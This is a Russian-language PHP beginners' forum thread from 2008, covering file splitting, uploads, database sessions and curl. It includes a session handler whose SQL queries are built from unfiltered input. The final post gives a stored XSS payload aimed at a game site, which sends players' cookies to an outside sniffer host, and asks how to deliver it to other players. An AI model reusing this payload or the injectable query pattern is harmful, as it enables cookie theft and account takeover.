[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. l0l1k

    l0l1k Elder - Старейшина

    Joined:
    27 Jan 2008
    Messages:
    33
    Likes Received:
    4
    Reputations:
    -1
    токда подскажи другой способ это зделать !!! и тем болше мне интересно как это зделать !
     
  2. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Архивируешь Winrar'ом, вписав в "Разделить на тома размером (в байтах)" тот размер что тебе нужен. И харе зафлуживать тему.
     
    1 person likes this.
  3. l0l1k

    l0l1k Elder - Старейшина

    Joined:
    27 Jan 2008
    Messages:
    33
    Likes Received:
    4
    Reputations:
    -1
    вы что сговорились ??? издеваетесь ??? мне надо это сделать на Php и точка .
     
    1 person likes this.
  4. presidentua

    presidentua милиционер Античата

    Joined:
    4 Nov 2007
    Messages:
    305
    Likes Received:
    236
    Reputations:
    15
    блокнот не поддерживает больших файлов. в Ворде делай!

    Токо одного не пойму, тебе что здесь кто-то обязан. Или может денег должны. Хотят помагают хотят нет. Буть проще и люди потянутся. Сорри за оффтоп, не удержался.
     
  5. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    На PHP файл будет долго читаться, но раз уж ты так нервничаешь.
    Code:
    <?php
    	// {
    		$file = 'big_file.txt';
    		$bytes = 50000;
    	// }
    	$fopen = fopen($file, 'r');
    	$i = 1;
    	while(!feof($fopen)) {
    		$total_resource = fgets($fopen, $bytes);
    		$fopen2 = fopen($i.'_tom.txt', 'a');
    		fwrite($fopen2, $total_resource);
    		fclose($fopen2);
    		$i++;
    	}
    	fclose($fopen);
    ?>
     
    1 person likes this.
  6. Architek86

    Architek86 Elder - Старейшина

    Joined:
    20 Feb 2008
    Messages:
    80
    Likes Received:
    1
    Reputations:
    0
    Что то я не пойму, IE не передаёт данные из формы скрипту PHP?
    Ибо есть простой скриптик загрузки файлов через форму.... вот:
    HTML:
    <form method="post" enctype="multipart/form-data" action="engine.php">
    <b>01</b><input name="userfile1" type="file" size="40" />
    <b>02</b><input name="userfile2" type="file" size="40" />
    <b>03</b><input name="userfile3" type="file" size="40" />
    <input name="upload" type="submit" value="Загрузить">
    </form>
    А вот и сам скрипт engine.php:
    PHP:
    <?php
    if ((is_uploaded_file($HTTP_POST_FILES['userfile1']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile2']['tmp_name']) || is_uploaded_file($HTTP_POST_FILES['userfile3']['tmp_name'])) & ($HTTP_POST_FILES['userfile1']['type']=="image/jpg" || $HTTP_POST_FILES['userfile1']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpg" || $HTTP_POST_FILES['userfile2']['type']=="image/jpeg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpg" || $HTTP_POST_FILES['userfile3']['type']=="image/jpeg"))
    {
    $nm mt_rand(12345,999999999);
    $ras '.jpg';
    if ((
    $HTTP_POST_FILES['userfile1']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile1']['type']=="image/jpeg"))
    {
    $nbr="_1";
    $iname $nm.$nbr.$ras;
    copy ($HTTP_POST_FILES['userfile1']['tmp_name'], $iname);
    }
    if ((
    $HTTP_POST_FILES['userfile2']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile2']['type']=="image/jpeg"))
    {
    $nbr="_2";
    $iname $nm.$nbr.$ras;
    copy ($HTTP_POST_FILES['userfile2']['tmp_name'], $iname);
    }
    if ((
    $HTTP_POST_FILES['userfile3']['type']=="image/jpg") || ($HTTP_POST_FILES['userfile3']['type']=="image/jpeg"))
    {
    $nbr="_3";
    $iname $nm.$nbr.$ras;
    copy ($HTTP_POST_FILES['userfile3']['tmp_name'], $iname);
    }
    }
    else
    {
    print 
    'Нельзя загрузить даный тип файла';
    }
    ?>
    По идеи должен загружать файл, но через ИЕ этого не происходит, так и пишет - Нельзя загрузить даный тип файла.. ПОЧЕМУ??? хотя через другие браузеры - всё ок... :(
     
  7. Корвин

    Корвин Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    256
    Likes Received:
    31
    Reputations:
    3
    попробуй вместо $HTTP_POST_FILES, просто $_POST
     
  8. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Драсте... у меня вопрос вот часто вижу что сессии хранятся в БД

    1.Что это даёт?
    (Даёт управление значениями сессии?)
    2.Если сессия в БД как при этом устроить автологин?
    (Брать значения из сессии и куков и если они сходятся записывать сессию)

    чтото я эти махинации с сессиями не пойму..
     
  9. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Сессию и запись в БД можно связать при помощи PHPSESSID. То есть session_start создаёт сессию, выделяя некоторый id, по которому можно создать запись в базе при первом заходе пользователя на сайт и внести в неё всю информацию о юзере. А в дальнейшем, при заходе по кукисам, получать эту запись из БД опять-таки при помощи PHPSESSID. А реализовать удалении сессии можно так: просто добавить в таблицу сессий в БД поле с датой последнего обращения пользователя и удалять записи, которые старше некоторого времени. Соответственно, при нескольких обращениях юзера к сайту это поле должно обновляться.

    То есть:
    1) юзер обратился к сайту. Создалась сессия, ему в кукисы записался PHPSESSID.
    2) сразу же в БД создалась запись с ключом PHPSESSID и всеми необходимыми данными сессии
    3) юзер снова обратился к странице сайта. Теперь новая сессия не создаётся, а используется PHPSESSID из его кукисов.
    4) теперь данные сессии мы не добавляем в БД, а делаем выборку из таблицы с сессиями, примерно так: select ... from (таблица_сессий) where sid=$PHPSESSID. Кроме того,обновляем поле времени последнего обращения юзера в таблице сессий.
    5) юзер ушёл с сайта, закрыл браузер. Но при обращении других юзеров из таблицы сессий удаляются старые записи, т.е. удалится и запись этого ушедшего пользователя через время, которое мы установили. (delete from (таблица_сессий) where (поле_время_последнего_обращения)<время-время_онлайна).
    6) если юзер ушёл с сайта, нажав кнопку, например, "logoff", то можно сразу удалять запись в таблице сессий с его PHPSESSID.

    Основные плюсы - можно модифицировать чужие сессии и отслеживать, онлайн пользователь или нет.
     
    #2909 d_x, 26 Apr 2008
    Last edited: 26 Apr 2008
    1 person likes this.
  10. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Тьфу а я думал чтото насчёт безопасности) я до того ка задал вопрос написал примерный скрипт а када написал не понел зачем я это сделал =)))

    вот скрипт... верный?


    PHP:
    <?php

    /**
     * @author 
     * @copyright 2008
     */
    mysql_connect('localhost''root''');
    mysql_select_db('session');

    function 
    ses_open($ses_path$ses_name)
    {
        return 
    true;
    }

    function 
    ses_close()
    {
        return 
    true;
    }

    function 
    ses_read($key)
    {
        
    $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'");
        
    $fetch mysql_fetch_assoc($result);
        return 
    $fetch['val'];
    }

    function 
    ses_write($key$val)
    {
        
    $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'");
        
    $fetch = @mysql_fetch_assoc($result);
        if (
    $fetch != array())
        {
            @
    mysql_query("UPDATE `session` SET `name`='" session_name() . "', `val`='$val', `time`='" .
                
    time() . "' WHERE `key`='$key'");
        } else
        {
            @
    mysql_query("INSERT INTO `session` SET `name`='" session_name() . "', `val`='$val',`key`='$key', `time`='" .
                
    time() . "'");
        }
        return 
    true;
    }

    function 
    ses_destroy($key)
    {
        return @
    mysql_query("DELET FROM `session` WHERE `key`='$key'");
    }

    function 
    ses_gc($maxtime)
    {
        
    $result mysql_query("select `time`,`key` FROM `session` where 1");
        for (
    $fetch = array(); $row mysql_fetch_array(); $fetch[] = $row)
            ;
        foreach (
    $fetch as $v)
        {
            if (
    time() - $v[time] >= $maxtime)
            {
                
    mysql_query("DELET FROM `session` WHERE `val`='$v[val]'");
            }
        }
    }

    session_set_save_handler("ses_open""ses_close""ses_read""ses_write",
        
    "ses_destroy""ses_gc");

    ?>
     
    1 person likes this.
  11. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Вроде верно всё, нужно только параметры фильтровать

    А вот это:

    PHP:
        $result = @mysql_query("SELECT `val` FROM `session` WHERE `key`='$key'"); 
        
    $fetch = @mysql_fetch_assoc($result); 
        if (
    $fetch != array()) 
        { 
            @
    mysql_query("UPDATE `session` SET `name`='" session_name() . "', `val`='$val', `time`='" 
                
    time() . "' WHERE `key`='$key'"); 
        } else 
        { 
            @
    mysql_query("INSERT INTO `session` SET `name`='" session_name() . "', `val`='$val',`key`='$key', `time`='" 
                
    time() . "'"); 
        } 
        return 
    true
    можно заменить таким:

    PHP:
      $tm=time();
      @
    mysql_query("insert into session (val,key,time) values('$val','$key',$tm) ON DUPLICATE KEY UPDATE time=$tm$val='$val'"); 
        return 
    true
    Но только если key - UNIQUE index или PRIMARY KEY и начиная с MySQL 4.1.
    И ещё после запроса SELECT не надо забывать mysql_free_result.
     
    #2911 d_x, 26 Apr 2008
    Last edited: 26 Apr 2008
  12. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    Так это был тестовый скрипт у меня ваще для работы с БД спецальный класс написаный мной он усё фильтрует=)
     
  13. fireball

    fireball New Member

    Joined:
    21 Apr 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Короче народ где библиотеку Gd обновить?
     
  14. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    качай новый РНР имхо
     
  15. l0l1k

    l0l1k Elder - Старейшина

    Joined:
    27 Jan 2008
    Messages:
    33
    Likes Received:
    4
    Reputations:
    -1
    как зделать FOR но чтоб перепрыгивала не через адин ($d++) а через три сразу !
     
  16. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    $d+=3
     
  17. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    вопрос по curl.. использую curl для связи с хостом идет 3 сессий, первая-авторизация, вторая- проверка печенья, третья- уже выполнение определенного действия, все сеансы идут по порядку в коде, но почему при всех вписаных 3 сеансах запрос начинает идти с последней части кода, где выполняется определенное действие и следовательно вылетает ошибка что ты не авторизован, если оставляешь первые 2 сесии а третью удаляешь, происходить все по порядку, никто не сталкивался с такой проблемой?
     
  18. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Попробуй все делать в одной сессии, тогда проблем не будет)
     
    _________________________
  19. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    [R]eD,
    PHP:
    SELECT FROM `news`WHERE `type`='2' ORDER BY `date`
     
    2 people like this.
  20. DVD_RW

    DVD_RW Banned

    Joined:
    27 Apr 2008
    Messages:
    0
    Likes Received:
    202
    Reputations:
    -36
    Xss

    Сразу к делу.
    Проблема с XSS ...
    Вот она:
    Когда я ввожу XSS ...
    а ввожу я его в игру travian.ru он меня перемещат на мой сниффер, но я не знаю , как дать ссылку людям((
    примерно вот:
    Сначала ввожу: ">
    потом no"><script> document.location.href="http://s.netsec.ru/60880.gif?"+encodeURI(document.cookie); </script><


    т.е. там speed.travian.ru/allianz.php и всё..а надо чтоб альянс переминовался по "какой нибудь" ссылке... оч прошу - помогите(((

    Но там пхп ...я в общем то хз ... попробуйте вот тут:
    speed.travian.ru < зарегистрируйтесь , постройте посольство до 3 ЛВЛа... - создайте альянс \и переминуйте его в поле "ally2" ((
    Если можно то ответы в 452277469 ! но сюда тоже зайду!
    Заранее спасибо! :(


    ===т.е. мне надо СРАЗУ ссылку сделать , чтобы она переминовала альянс и выходила на линк :)
     
    #2920 DVD_RW, 27 Apr 2008
    Last edited: 27 Apr 2008
Thread Status:
Not open for further replies.